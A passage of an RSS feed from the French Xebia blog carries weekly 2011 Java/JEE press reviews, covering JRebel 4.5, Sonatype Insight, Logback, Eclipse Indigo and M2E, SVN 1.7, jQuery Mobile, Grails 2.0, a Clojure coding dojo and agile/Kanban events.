name="RevuedePresseXebia-VelocityEurope%C3%A0Berlinle8et9novembre"></a>Velocity Europe à Berlin le 8 et 9 novembre</h4><p>Velocity Europe organise mardi 8 et mercredi 9 une conférence à Berlin sur le thème Web Performance et Operations.<br
/> Les <a
href="http://velocityconf.com/velocityeu/public/schedule/presentations" rel="nofollow">présentations</a> abordent de nombreux sujets passionnants.<br
/> Voici quelques unes des sessions sur les performances Web :</p><ul
type="square"><li><a
href="http://velocityconf.com/velocityeu/public/schedule/detail/21874" rel="nofollow">Know Your Engines: How to Make Your JavaScript Fast</a></li><li><a
href="http://velocityconf.com/velocityeu/public/schedule/detail/22069" rel="nofollow">Mobile UI Performance</a></li><li><a
href="http://velocityconf.com/velocityeu/public/schedule/detail/21823" rel="nofollow">Performance Automation 101</a></li></ul><p>Et sur les operations :</p><ul
type="square"><li><a
href="http://velocityconf.com/velocityeu/public/schedule/detail/21669" rel="nofollow">Be Fast Or Stay Behind &#8211; Building A Continuous Delivery Platform</a></li><li><a
href="http://velocityconf.com/velocityeu/public/schedule/detail/21708" rel="nofollow">HTTP Connection Management, From 10 Users To 100 million</a></li><li><a
href="http://velocityconf.com/velocityeu/public/schedule/detail/21637" rel="nofollow">NoSQL Performance In The Real World</a></li></ul><p>Des keynotes auront également lieu avec des speakers venus de Google, Amazon, Dynatrace, New Relic, etc.<br
/> Il est important de préciser que certaines présentations sont retransmises en <a
href="http://velocityconf.com/velocityeu/public/content/video" rel="nofollow">direct</a>, mais pas forcément celles qu&#8217;on voudrait <img
src="/confluence/images/icons/emoticons/sad.gif" height="20" width="20" align="absmiddle" alt="" border="0" /> .</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2011/11/08/revue-de-presse-xebia-2011-46/feed/</wfw:commentRss> <slash:comments>3</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2011/09/27/revue-de-presse-xebia-231/</link> <comments>http://blog.xebia.fr/2011/09/27/revue-de-presse-xebia-231/#comments</comments> <pubDate>Tue, 27 Sep 2011 05:00:25 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[clojure]]></category> <category><![CDATA[Coding dojo]]></category> <category><![CDATA[Eclipse]]></category> <category><![CDATA[Java 7]]></category> <category><![CDATA[JRebel]]></category> <category><![CDATA[logback]]></category> <category><![CDATA[Sonatype Insight]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=8625</guid> <description><![CDATA[La revue de presse hebdomadaire des écosystèmes Java/JEE proposée par Xebia. Actualité éditeurs / SSII JRebel: version 4.5, maintenant gratuit pour un usage personnel Sonatype Insight Le coin de la technique Logback en version 0.9.30 réinvente les stack traces Eclipse 3.7.1 supporte maintenant Java 7 Evénements de notre communauté en France et à l&#8217;étranger Coding [...]]]></description> <content:encoded><![CDATA[<p><img
style="margin: 1em 1em 1em 1em; float: right;" src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" /></p><p><em>La revue de presse hebdomadaire des écosystèmes Java/JEE proposée par Xebia.</em></p><p><strong>Actualité éditeurs / SSII</strong></p><ul><li><a
href="http://blog.xebia.fr/2011/09/27/revue-de-presse-xebia-231/#JRebelversionmaintenantgratuit">JRebel: version 4.5, maintenant gratuit pour un usage personnel</a></li><li><a
href="http://blog.xebia.fr/2011/09/27/revue-de-presse-xebia-231/#SonatypeInsight">Sonatype Insight</a></li></ul><p><strong>Le coin de la technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2011/09/27/revue-de-presse-xebia-231/#Logbackenversionrinventelessta">Logback en version 0.9.30 réinvente les stack traces</a></li><li><a
href="http://blog.xebia.fr/2011/09/27/revue-de-presse-xebia-231/#EclipsesupportemaintenantJava">Eclipse 3.7.1 supporte maintenant Java 7</a></li></ul><p><strong>Evénements de notre communauté en France et à l&#8217;étranger</strong></p><ul><li><a
href="http://blog.xebia.fr/2011/09/27/revue-de-presse-xebia-231/#CodingdojosurlethmedeClojure">Coding dojo sur le thème de Clojure</a></li></ul><h3><a
name="ActualitditeursSSII"></a>Actualité éditeurs / SSII</h3><h4><a
name="JRebelversionmaintenantgratuit"></a>JRebel: version 4.5, maintenant gratuit pour un usage personnel</h4><p>ZeroTurnaround <a
title="a annonc" href="http://www.zeroturnaround.com/blog/jrebel-4-5-released-includes-jrebel-social/">a annoncé</a> cette semaine la version 4.5 de JRebel, l&#8217;outil qui permet de modifier le code de son application à chaud, sans avoir besoin de la redéployer. Accompagné de ses plugins pour les différents IDE, il est très pratique et permet de régulièrement gagner beaucoup de temps en développement.<br
/> Cette version apporte comme d&#8217;habitude son petit lot de nouveautés comme un support natif de Java 7, JBoss AS 7, Spring Web Services et JAXB, un meilleur support des JSF et une meilleure compatibilité du rechargement des EJB sur certains serveurs. La liste des modifications est disponible <a
title="ici" href="http://www.zeroturnaround.com/jrebel/changelog/4-x/">ici</a>.<br
/> Mais la grosse nouveauté, c&#8217;est l&#8217;apparition d&#8217;une version gratuite non limitée dans le temps. Jusqu&#8217;alors, une version d&#8217;essai de JRebel existait, mais elle était limitée à 30 jours. On se souvient que ZeroTurnaround avait récemment augmenté ses prix, et cette gratuité va sans doutes lui permettre d’être testé par de nombreux développeurs qui voudront alors peut être passer à la version payante dans leur job. Car en effet, et c&#8217;est là la limitation de la version gratuite: elle est limitée à une utilisation dans un cadre non commercial. De plus, il vous faudra vous enregistrer avec vos comptes Twitter ou Facebook sur lesquels JRebel ira peut être de temps en temps poster des messages du style &laquo;&nbsp;grâce à JRebel, j&#8217;ai gagné 2 jours de productivité ce mois-ci&nbsp;&raquo;. Si vous êtes prêts à tenter le coup, rendez vous sur <a
title="httpssocialjrebelcom" href="https://social.jrebel.com">https://social.jrebel.com</a>.</p><h4><a
name="SonatypeInsight"></a>Sonatype Insight</h4><p>La semaine dernière, Sonatype, l’entreprise qui pilote les développements de Maven, a annoncé sur son blog sa toute nouvelle suite <a
title="Sonatype Insight" href="http://www.sonatype.com/Products/Sonatype-Insight">Sonatype Insight</a>.</p><p>Comme définit par Sonatype, Insight a été conçu pour aider les entreprises qui développent des applications à avoir plus de visibilité et de contrôle en ce qui concerne l’utilisation de composants open source. Avec ce nouveau produit, Sonatype rejoint un groupe restreint d’entreprises, dont <a
title="Protecode" href="http://www.protecode.com/">Protecode</a> et <a
title="Black Duck" href="http://www.blackducksoftware.com/">Black Duck</a>, qui visent à aider les organisations à mieux maîtriser leurs composants open source.</p><p>La suite de Sonatype est composée de trois modules : Management Insight, Application Insight et Development Insight. Ensemble, ces trois modules proposent :</p><ul><li>de développer plus vite des applications plus fiables</li><li>de choisir le composant open source le mieux adapté au besoin (ce qui diminue le risque de régression en cas de changement)</li><li>d’éviter l’utilisation de licences indésirables et de composants dont la sécurité peut être défaillante</li><li>de simplifier la gestion et le suivi des composants open source.</li></ul><p>Sonatype Insight propose d’accompagner les équipes de développement pendant tout le cycle de vie d’un projet, de la conception jusqu’à la production. Ainsi, son l’intégration avec des outils tels que Maven, Eclipse, Jenkins ou Ant est tout à fait possible. Comme attendu, Insight se branche sur le Référentiel Central de Maven qui est financé par Sonatype elle-même.</p><p>Enfin, le coût de la licence du module Application Insight est actuellement basé sur le nombre d’applications analysées. Le coût de la licence des modules Development Insight et Management Insight dépend du nombre d’utilisateurs.</p><p>Pour plus d&#8217;informations :</p><ul><li><a
title="Lannonce sur InfoQ" href="http://www.infoq.com/news/2011/09/sonatype-insight">L&#8217;annonce sur InfoQ</a></li><li><a
title="Sonatype Insight" href="http://www.sonatype.com/Products/Sonatype-Insight">Sonatype Insight</a></li></ul><h3><a
name="Lecoindelatechnique"></a>Le coin de la technique</h3><h4><a
name="Logbackenversionrinventelessta"></a>Logback en version 0.9.30 réinvente les stack traces</h4><p>Vous tenez le format des stack traces pour immuables ? Sans doutes ne vous étiez-vous jamais posé la question ? Mais n&#8217;avez-vous jamais pesté sur la difficulté de suivre la séquence des événements ayant mené à l&#8217;erreur, notamment quand les exceptions sont catchées et relancées plusieurs fois ? C&#8217;est le problème qu&#8217;a tenté de résoudre <del>Byron Kiourtzoglou</del> Tomek Nurkiewicz en proposant un patch pour Logback qui vient d’être intégré dans <a
title="la toute nouvelle version 0930" href="http://logback.qos.ch/news.html">la toute nouvelle version 0.9.30</a><br
/> Dans <a
title="larticle suivant" href="http://nurkiewicz.blogspot.com/2011/09/logging-exceptions-root-cause-first.html">l&#8217;article suivant</a>, il détaille, capture de traces à l&#8217;appui, comment son nouveau formatter permet d&#8217;obtenir des traces plus lisibles en cas d&#8217;Exception: une simple lecture de bas en haut permet de comprendre le cheminement, depuis la méthode main() jusqu&#8217;à la cause originale qui apparaît maintenant en haut.<br
/> Bien sûr, cette fonctionnalité n&#8217;est pas activée par défaut et il vous faudra ajouter <a
title="un simple" href="http://logback.qos.ch/manual/layouts.html#rootException">un simple</a> &laquo;&nbsp;%rEx&nbsp;&raquo; au pattern de votre logger pour en profiter. Après, cela demandera sans doutes un peu d&#8217;habitude mais pourra sembler plus logique à nombre de développeurs. A essayer au plus vite donc !</p><h4><a
name="EclipsesupportemaintenantJava"></a>Eclipse 3.7.1 supporte maintenant Java 7</h4><p>Une petite news rapide pour vous informer que Eclipse Indigo Service Realease 1, aka Eclipse 3.7.1 vient de sortir. Elle apporte principalement <a
title="le support de Java 7" href="http://www.eclipse.org/jdt/ui/r3_8/Java7news/whats-new-java-7.html">le support de Java 7</a> que vous pourrez donc utiliser dans vos projets perso (car ne rêvez pas, si vous êtes encore en Java 4 dans votre job, vous n&#8217;allez pas passez tout de suite à Java 7 <img
src='http://blog.xebia.fr/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> ). Vous bénéficierez aussi de la correction <a
title="de nombreux bugs" href="http://www.eclipse.org/eclipse/development/readme_eclipse_3.7.1.html#DefectsFixed">de nombreux bugs</a> en sus des apports de Java 7, c&#8217;est toujours ça.<br
/> A noter que si vous utiliser Groovy-Eclipse, il vous faudra utiliser la version de développement, dont l&#8217;update site est indiqué <a
title="dans ce blog" href="http://andrewclement.blogspot.com/2011/09/groovy-eclipse-and-eclipse-java7-371.html">dans ce blog</a>, afin d’être compatible avec les nombreux changement apportés au compilateur Eclipse.</p><h3><a
name="EvnementsdenotrecommunautenFra"></a>Evénements de notre communauté en France et à l&#8217;étranger</h3><h4><a
name="CodingdojosurlethmedeClojure"></a>Coding dojo sur le thème de Clojure</h4><p>Il y a quelques semaines que s&#8217;est créé le Clojure Paris User Group (CPUG). Actuellement, ce user group est caractérisé par un groupe Google et deux coding dojo. À ce propos, mercredi dernier s&#8217;est tenu le coding dojo du CPUG durant le déjeuner chez Finance Active, près du palais Brongniart. Un Xébian y était présent !</p><p
style="text-align: center;"><a
href="http://blog.xebia.fr/wp-content/uploads/2011/09/dojo-clojure.jpg"><br
/> <img
class="size-medium wp-image-8627 aligncenter" title="dojo-clojure" src="http://blog.xebia.fr/wp-content/uploads/2011/09/dojo-clojure-300x225.jpg" alt="" width="300" height="225" /></a><br
/> <em>(Photographie par <a
title="Ulrich Vachon" href="http://twitter.com/#%21/ulrich">Ulrich Vachon</a> avec son autorisation)</em></p><p>Pour rappel, le coding dojo est une réunion durant laquelle des développeurs tente de résoudre un défi technique. Cette réunion se situe dans une salle assez grande, contenant un ordinateur relié à un vidéo-projecteur. Dans sa forme Kata Randori, une fois le sujet choisi et l&#8217;environnement de développement préparé, deux personnes se mettent en binôme à l&#8217;ordinateur: une prend le rôle de pilote et tape au clavier pendant que l&#8217;autre prend le rôle de co-pilote et dirige le pilote. Toutes les 5-10 minutes. le pilote va se rassoir, le co-pilote prend la place du pilote et une personne de l&#8217;assemblée vient remplacer le co-pilote. Bien entendu, il ne faut pas attendre d&#8217;être au niveau de l&#8217;ordinateur pour parler : dans un coding dojo, tout le monde participe. Plus d&#8217;informations sont disponibles sur ce site : <a
title="httpcodingdojoorg" href="http://codingdojo.org/">http://codingdojo.org/</a><br
/> Pour en revenir à Clojure, le défi consistait à programmer en Clojure une fonction capable de trouver les n premiers nombres premiers. Nous étions une petite dizaine et nous avons eu le temps de faire une rotation complète en 1h20. Bien qu&#8217;étant tous plus ou moins débutants, la cohésion du groupe et la volonté d&#8217;atteindre le but ont fait que nous avons fini par obtenir un code qui fonctionne. Vous trouverez ici le code obtenu : <a
href="https://github.com/elefevre/dojo-at-lunch/blob/master/2011-09-21-nombres-premiers/test/prime_numbers/test/core.clj">https://github.com/elefevre/dojo-at-lunch/blob/master/2011-09-21-nombres-premiers/test/prime_numbers/test/core.clj</a></p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2011/09/27/revue-de-presse-xebia-231/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2011/06/28/revue-de-presse-xebia-217/</link> <comments>http://blog.xebia.fr/2011/06/28/revue-de-presse-xebia-217/#comments</comments> <pubDate>Tue, 28 Jun 2011 08:12:03 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[Agile]]></category> <category><![CDATA[DevOps]]></category> <category><![CDATA[Eclipse]]></category> <category><![CDATA[French SUG]]></category> <category><![CDATA[Grails]]></category> <category><![CDATA[humour]]></category> <category><![CDATA[JQuery Mobile]]></category> <category><![CDATA[Kanban]]></category> <category><![CDATA[M2E]]></category> <category><![CDATA[Méthodes agiles]]></category> <category><![CDATA[offshore]]></category> <category><![CDATA[svn]]></category> <category><![CDATA[Twitter]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=8103</guid> <description><![CDATA[La revue de presse de l’actualité Java/JEE hebdomadaire proposée par Xebia. Agilité Compte rendu de la soirée Kanban Devops du French SUG Le compte twitter de la semaine Le coin de la technique Eclipse Indigo: Indigeste ou Indispensable ? SVN 1.7: première version majeure chez Apache jQuery Mobile Beta 1 Released! Grails fait un bond [...]]]></description> <content:encoded><![CDATA[<p><img
style="margin: 1em 1em 1em 1em; float: right;" src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" /></p><p><em>La revue de presse de l’actualité Java/JEE hebdomadaire proposée par Xebia.</em></p><p><strong>Agilité</strong></p><ul><li><a
href="http://blog.xebia.fr/2011/06/28/revue-de-presse-xebia-217/#CompterendudelasoireKanbanDevo">Compte rendu de la soirée Kanban Devops du French SUG</a></li><li><a
href="http://blog.xebia.fr/2011/06/28/revue-de-presse-xebia-217/#Lecomptetwitterdelasemaine">Le compte twitter de la semaine</a></li></ul><p><strong>Le coin de la technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2011/06/28/revue-de-presse-xebia-217/#EclipseIndigoIndigesteouIndisp">Eclipse Indigo: Indigeste ou Indispensable ?</a></li><li><a
href="http://blog.xebia.fr/2011/06/28/revue-de-presse-xebia-217/#SVNpremireversionmajeurechezAp">SVN 1.7: première version majeure chez Apache</a></li><li><a
href="http://blog.xebia.fr/2011/06/28/revue-de-presse-xebia-217/#jQueryMobileBetaReleased">jQuery Mobile Beta 1 Released!</a></li><li><a
href="http://blog.xebia.fr/2011/06/28/revue-de-presse-xebia-217/#ChangementVersionGrails">Grails fait un bond en avant</a></li></ul><p><strong>Evénements de notre communauté en France et à l&#8217;étranger</strong></p><ul><li><a
href="http://blog.xebia.fr/2011/06/28/revue-de-presse-xebia-217/#Roadshowagileoffshorexebia">Roadshow #agile #offshore #xebia</a></li></ul><h3><a
name="Agilit"></a>Agilité</h3><h4><a
name="CompterendudelasoireKanbanDevo"></a>Compte rendu de la soirée Kanban Devops du French SUG</h4><p>Le <a
title="French Scrum User Group" href="http://www.frenchsug.org/display/FRSUG/French+Scrum+User+Group">French Scrum User Group</a> organisait vendredi dernier une soirée sous le double thème de Kanban et DevOps. Voici un bref retour des présentations.</p><p>Laurent Morisseau a commencé la soirée par une introduction progressive à Kanban. Partant de la description des piliers du Lean, le système de production de Toyota, il a déroulé un cycle de 5 étapes, mettant tour à tour en lumière un principe fondamental de l&#8217;approche appliquée à l&#8217;IT. Laurent a également abordé l&#8217;application de Kanban dans un domaine plus large que l&#8217;équipe de développement logiciel: <strong>Scrumban</strong> qui intègre la partie amont de la réalisation d&#8217;un logiciel, côté Product Owner, et <strong>DevOps</strong> qui intègre la partie aval côté opération / production. Laurent a terminé sa présentation en donnant des pistes pour une application encore plus large de Kanban: le principe de <strong><a
title="Lean Startup" href="http://leanstartup.pbworks.com/w/page/15765221/FrontPage">Lean Startup</a></strong> pour remonter au delà du produit logiciel et attaquer le business model, et le <strong>Lean IT</strong> pour adresser des intervenants encore plus en aval: équipes support, centres de service clients.</p><p><a
title="Dominica de Grandis" href="https://twitter.com/#!/dominicad">Dominica de Grandis</a> nous a ensuite détaillé un retour d&#8217;expérience sur la mise en œuvre de Kanban depuis les équipes de dev jusqu&#8217;au équipe de prod au sein de <a
title="Corbis" href="http://www.corbisimages.com/">Corbis</a>. L&#8217;initiative a commencé en 2006 et Dominica nous présente l&#8217;évolution des travaux pendant 2 ans jusqu&#8217;en 2008. Il faut noter que la société s&#8217;est faite coacher par <a
title="David Anderson" href="http://twitter.com/#!/agilemanager">David Anderson</a>, figure de proue du mouvement Kanban appliqué à l&#8217;informatique. Dominica nous raconte que l&#8217;optimisation continue du flux de tâches a conduit progressivement à l&#8217;émergence des valeurs portées aujourd&#8217;hui par la communauté DevOps. Ce que nous retenons de la présentation, au delà de slides un tantinet vintage, c&#8217;est :</p><ul><li>Les standups façon Kanban sont plus rapides car tout le travail est visible sur le tableau, donc personne n&#8217;a besoin de dire sur quoi il travaille, on se focalise simplement sur les obstacles</li><li>Un créneau de 15 minutes était réservé après les standups pour tenir des discussions techniques, cela a conduit a sensiblement diminuer les interruptions de travail entre équipe pendant la journée, car chacun savait qu&#8217;il pouvait aborder des points techniques avec n&#8217;importe qui le jour suivant</li><li>L&#8217;institution des &laquo;&nbsp;Operational Reviews&nbsp;&raquo; mensuels pendant lesquelles les performances financières sont présentées à l&#8217;ensemble des équipes, puis chaque équipe évoque à tour de rôle ses difficultés. Dominica nous explique qu&#8217;elle a obtenu un budget supplémentaire de la direction grâce à des graphiques très simples montrant les limites de capacité de son équipe</li><li>Transparency = trust, vulnerability = empathy</li></ul><p>Nous avons ensuite assisté à une présentation ping-pong entre Fabrice Aimetti et Antoine Vernois pour opposer, sans vraiment le faire au final, les approches SCRUM et Kanban. Tout y passe: approche globale, technique de gestion des nouvelles demandes, stratégie multi-produits, indicateurs clés, cible privilégiée. Cette présentation a déjà été jouée au ScrumDay 2011 et vous pouvez la voir <a
title="en video sur Youtube" href="http://www.youtube.com/watch?v=PmTQOS9nFm8&amp;feature=player_embedded">en video sur Youtube</a>.</p><p>Vous pouvez retrouver une rétrospective de cette soirée sur les blogs de <a
title="Fabrice" href="http://antoine.vernois.net/dotclear/index.php?post/2011/06/25/24-juin-2011-Scrum,-Kanban-et-Devops-au-Scrum-User-Group-France">Fabrice</a>, <a
title="Antoine" href="http://antoine.vernois.net/dotclear/index.php?post/2011/06/25/24-juin-2011-Scrum,-Kanban-et-Devops-au-Scrum-User-Group-France">Antoine</a>, et <a
title="Laurent" href="http://www.laurentmorisseau.com/2011/06/soiree-devops-scrum-kanban-avec-le.html">Laurent</a>.</p><h4><a
name="Lecomptetwitterdelasemaine"></a>Le compte Twitter de la semaine</h4><p>Si vous voulez vous payer une bonne tranche de rire, suivez <a
title="@AgileBorat" href="http://twitter.com/#!/AgileBorat">@AgileBorat</a> sur Twitter. Et oui, Borat s&#8217;est reconverti dans le coaching Agile et il raconte son expérience sur Twitter, toujours dans un anglais approximatif. Inutile de vous conseiller en lisant ses tweets: n&#8217;essayez pas à la maison. Dans le même style <a
title="DevOpsBorat" href="http://twitter.com/#!/DevOps_Borat">@DevOps_Borat</a> vous fera aussi sourire.</p><p>Décidément, Xebia ne recule <a
title="devant rien" href="http://www.developpez.com/actu/33026/L-audiovisuel-francais-ne-doit-plus-dire-Facebook-et-Twitter-sous-peine-d-etre-accuse-de-publicite-clandestine-par-le-CSA/">devant rien</a> pour vous donner les bonnes sources d&#8217;information.</p><h3><a
name="Lecoindelatechnique"></a>Le coin de la technique</h3><h4><a
name="EclipseIndigoIndigesteouIndisp"></a>Eclipse Indigo: Indigeste ou Indispensable ?</h4><p>Comme tout les ans, la fin juin est l&#8217;occasion de voir l&#8217;IDE <a
title="Eclipse" href="http://www.eclipse.org">Eclipse</a> se refaire une beauté. Cette année, c&#8217;est sous le petit nom de Indigo que Eclipse 3.7 débarque. De plus en plus de lignes de code, de plus en plus de projet&#8230; Alex Blewitt nous donne <a
title="sur son blog" href="http://alblue.bandlem.com/2011/06/eclipse-indigo-released.html">sur son blog</a> un aperçu de l&#8217;évolution du projet au cours des années. Le moins que l&#8217;on puisse dire c&#8217;est que du chemin a été parcouru depuis la V1 il y a pres de 10 ans ! Mais alors, cette année, à quoi peut t&#8217;on s&#8217;attendre ? Les nouveaux projet principaux sont les suivant:</p><ul><li>L&#8217;intégration de Maven, sous la forme du <a
title="plugin M2E" href="http://www.eclipse.org/m2e/">plugin M2E</a></li><li><a
title="Eclipse Scout" href="http://wiki.eclipse.org/Scout/Overview">Eclipse Scout</a>, qui est un framework basé sur la plateforme Eclipse pour écrire des application type client lourd (Swing, SWT) distribuées. Le serveur est basé sur <a
title="Equinox" href="http://www.eclipse.org/equinox/">Equinox</a> tournant dans un serveur JEE. Un retour d’expérience est disponible <a
title="chez Developpezcom" href="http://blog.developpez.com/jmini/p10074/eclipse/scout/nouveau-eclipse-scout/">chez Developpez.com</a>.</li><li><a
title="Jubula" href="http://www.eclipse.org/jubula/">Jubula</a> est un outil pour tester les IHM lourdes (SWT, Swing) comme légères (HTML).</li><li><a
title="WindowBuilder" href="http://www.eclipse.org/windowbuilder/">WindowBuilder</a> dont nous vous avions <a
title="dj parl" href="http://blog.xebia.fr/2010/09/21/revue-de-presse-xebia-177/#LadiffusiondesproduitsdInstant">déjà parlé</a></li><li><a
title="Graphiti" href="http://www.eclipse.org/graphiti/">Graphiti</a> est une plateforme pour développer des outils de modélisations de modèles basés sur Java ou <a
title="EMF" href="http://www.eclipse.org/modeling/emf/">EMF</a></li><li><a
title="Egit" href="http://www.eclipse.org/egit/">Egit</a> et <a
title="Jgit" href="http://www.eclipse.org/egit/">Jgit</a> sont respectivement les plugins fournissant l&#8217;interface d&#8217;Eclipse autour de Git et les accès bas niveau à Git. Bref, ce couple était attendu en version stable.</li></ul><p>Concrètement, nous avons été déçus par M2E: cette <em>release</em> était l&#8217;occasion d&#8217;avoir enfin un support digne de ce nom de Maven dans Eclipse. Il faudra attendre.</p><ul><li>Tout d&#8217;abord, le package &laquo;&nbsp;Eclipse IDE for Java EE Developpers&nbsp;&raquo; ne contient pas M2E, contrairement à certains autres. Et <a
title="nous ne sommes pas les seuls" href="http://lenettoyeur-on-eclipse.blogspot.com/2011/06/oh-my-god-but-where-is-m2e.html">nous ne sommes pas les seuls</a> à qui il manque !</li><li>Ensuite, si on veut l&#8217;installer, il faut faire attention: la version proposée sur le marketplace (par ailleurs un superbe outil pour bookmarker ses plugins favoris) est la V0.12.1 et non la nouvelle V1.0. Cette dernière est accessible par l&#8217;URL d&#8217;update suivante: <a
title="httpdownloadeclipseorgtechnologym2ereleases" href="http://download.eclipse.org/technology/m2e/releases">http://download.eclipse.org/technology/m2e/releases</a>.</li><li>Enfin, cette nouvelle version &laquo;&nbsp;apporte&nbsp;&raquo; maintenant un concept de connecteurs. Les plugins de génération de code comme CXF ou JAXB doivent posséder leur connecteur spécifique dans Eclipse pour que la configuration des projets, et notamment les phase de génération de code source et le paramétrage des répertoires de source (target/generated-sources/jaxb par exemple) soient correctement effectués. On peut comprendre que pour une collaboration optimum entre Eclipse et Maven il y ait besoin de tels connecteurs, histoire que des modifications de fichiers ne soient pas faites dans le dos d&#8217;Eclipse. Mais toujours est-il que si l&#8217;on ne dispose pas de ces connecteurs, cela pose bien des problèmes. Et il est alors plus simple de continuer à gérer son workspace avec un bon mieux &laquo;&nbsp;mvn generate-sources eclipse:eclipse&nbsp;&raquo;.</li><li>Pour couronner le tout, il semble que la version précédente <a
title="continue  voluer" href="http://community.jboss.org/en/tools/blog/2011/06/23/m2eclipse-wtp-0130-new-noteworthy">continue à évoluer</a> (en 0.13.0).</li></ul><p>Bref, il semble que la confusion entourant M2E ne soit pas proche de son terme et <a
title="le forum ddi" href="http://dev.eclipse.org/mhonarc/lists/m2e-users/">le forum dédié</a> risque d’être fréquenté encore un moment.</p><p>Sinon, pour plus d&#8217;information sur toute la fondation Eclipse et son fonctionnement, <a
title="le dernier épisode des Cast Codeurs" href="http://lescastcodeurs.com/2011/06/les-cast-codeurs-podcast-episode-41-interview-detienne-juliot-sur-eclipse/">le dernier épisode des Cast Codeurs</a> voit Emmanuel Bernard interroger Etienne Juliot, directeur commercial de <a
title="Obeo" href="http://www.obeo.fr">Obeo</a> et dans le secret de la fondation Eclipse. On y apprend notamment que l&#8217;année prochaine verra la sortie d&#8217;Eclipse 4.2: la plateforme est quasi-prête, mais toute la partie IDE Java est encore en développement. Vivement l&#8217;année prochaine ?</p><h4><a
name="SVNpremireversionmajeurechezAp"></a>SVN 1.7: première version majeure chez Apache</h4><p>Subversion est sorti en version 1.7. C&#8217;est la première release stable depuis son passage chez Apache.<br
/> Ce qui sautera immédiatement aux yeux du plus grand nombre (ou pas, si vous n&#8217;affichez pas les fichiers cachés !) est la disparition de ces innombrables répertoires &laquo;&nbsp;.svn&nbsp;&raquo; qui peuplaient les arborescence des projets. Qui n&#8217;a jamais écrit de script pour les supprimer facilement ?! Et bien ça ne sera plus la peine, tout sera maintenant stocké à la racine. Diverses optimisations sont aussi de la partie. Nous vous renvoyons à l&#8217;article sur <a
title="le blog de Thomas Recloux" href="http://blog.tartachuc.org/2011/06/22/subversion-1-7-bientot-dans-les-bacs/">le blog de Thomas Recloux</a> ou aux <a
title="releasenotes officielles" href="http://subversion.apache.org/docs/release-notes/1.7.html">release-notes officielles</a></p><h4><a
name="jQueryMobileBetaReleased"></a>jQuery Mobile Beta 1 Released!</h4><p>Voici une nouvelle un peu tardive puisque l&#8217;annonce date déjà du 20/06 dernier, mais il ne fallait pas passer à côté. Avec cette première bêta, l&#8217;équipe JQuery souhaite lancer un nouveau calendrier avec une nouvelle release tous les mois. La version finale 1.0 étant attendue pour la fin de l&#8217;été. Parmi les nouveautés de cette version on retiendra surtout:</p><ul><li>Le support des navigateurs BlackBerry et Opera mini. La liste des plateformes supportées continue donc à s&#8217;allonger, mais on peut désormais considérer que la librairie adresse toutes les plateformes majeurs du marché (<a
title="consultez la matrice des navigateurs supports" href="http://jquerymobile.com/gbs/">consultez la matrice des navigateurs supportés</a>).</li><li>Le support du masquage de la barre de navigation sous Android et iOS, qui nous permet de créer des interfaces plus immersive et de faire oublier encore un peu plus que l&#8217;application n&#8217;est pas développée en code natif.</li><li>L&#8217;amélioration des transitions de page à page: le scroll est plus performant et plus fluide, mais de nouvelles améliorations sont encore à prévoir.</li><li>La refonte de l&#8217;API de navigation afin de découpler les traitements et permettre aux développeurs de modifier le comportement sans mal.</li><li>Le support de tous les formats d&#8217;URL possible (du chemin absolu au chemin relatif en passant par les différents protocoles).</li></ul><p>Cette version contient bien d&#8217;autres améliorations et refactorings, dont vous pouvez consulter le détail dans l&#8217;<a
title="annonce officielle" href="http://jquerymobile.com/blog/2011/06/20/jquery-mobile-beta-1-released/">annonce officielle</a>. Avec ce passage, en version bêta, JQuery Mobile confirme l&#8217;essai et continue sur sa lancée pour proposer des IHM toujours plus fluide et dynamique dans les navigateurs mobile. Vivement la sortie de la version finale qui saura sans nul doute exploiter au maximum les performances des moteurs JavaScript.</p><h4><a
name="ChangementVersionGrails"></a>Grails fait un bond en avant</h4><p>Les amélioration apportées par Grails en version 1.4 ont été tellement appréciées que Graeme Rocher a proposé d&#8217;abandonner le numéro de version 1.4 et de passer directement à la version 2.0.</p><p>Parmi les nouveautés :</p><ul><li>Migration de bases de données et reverse engineering de schéma existant</li><li>Gestion des Datasources multiples</li><li>Scaffolding HTML5 compliant</li><li>Mises à jour de la stack avec Groovy 1.8, Spring 3.1, Hibernate 3.6 et Servlet 3.0</li><li>Nouvelle API de test intégrant le support de Spock</li><li>Améliorations de performance</li></ul><p>&#8230; et bien d&#8217;autres choses. Voir <a
href="http://grails.org/blog/view/pledbrook/Grails+1.4+becomes+2.0">l&#8217;annonce sur grails.org</a>.</p><h3><a
name="EvnementsdenotrecommunautenFra"></a>Evénements de notre communauté en France et à l&#8217;étranger</h3><h4><a
name="Roadshowagileoffshorexebia"></a>Roadshow #agile #offshore #xebia</h4><p>Jeudi dernier se tenait à l&#8217;hôtel Scribe l&#8217;étape parisienne du <a
title="roadshow Agile Offshore" href="http://agileroadshow.xebia.com/">roadshow Agile Offshore</a> organisé par Xebia. Le programme concocté pour l&#8217;occasion s&#8217;appuyait sur deux présentations magistrales et un retour d&#8217;expérience. Nous vous livrons ci-après un court extrait pour ceux qui n&#8217;ont pu participer.</p><p>Notre président Luc Legardeur a lancé l&#8217;événement avec une introduction retraçant rapidement l&#8217;histoire et les motivations de l&#8217;offshore dans les prestations IT. Luc précise que Xebia possède 8 ans d&#8217;expérience dans la mise en œuvre de l&#8217;agilité en contexte offshore. Cette expérience, acquise parfois dans la douleur, donne à Xebia la maturité et la crédibilité nécessaire pour prendre en charge ce type de prestation.</p><p>Anurag Shrivastava, président de Xebia India, a pris la suite de Luc pour nous brosser un tableau sans fard des perspectives de sous-traitance en mode offshore. Dans ce discours, qui tranche avec les messages consensuels, Anurag souligne le fait que l&#8217;offshore est porteur de beaucoup d&#8217;espoirs, souvent irréalistes: productivité importante, 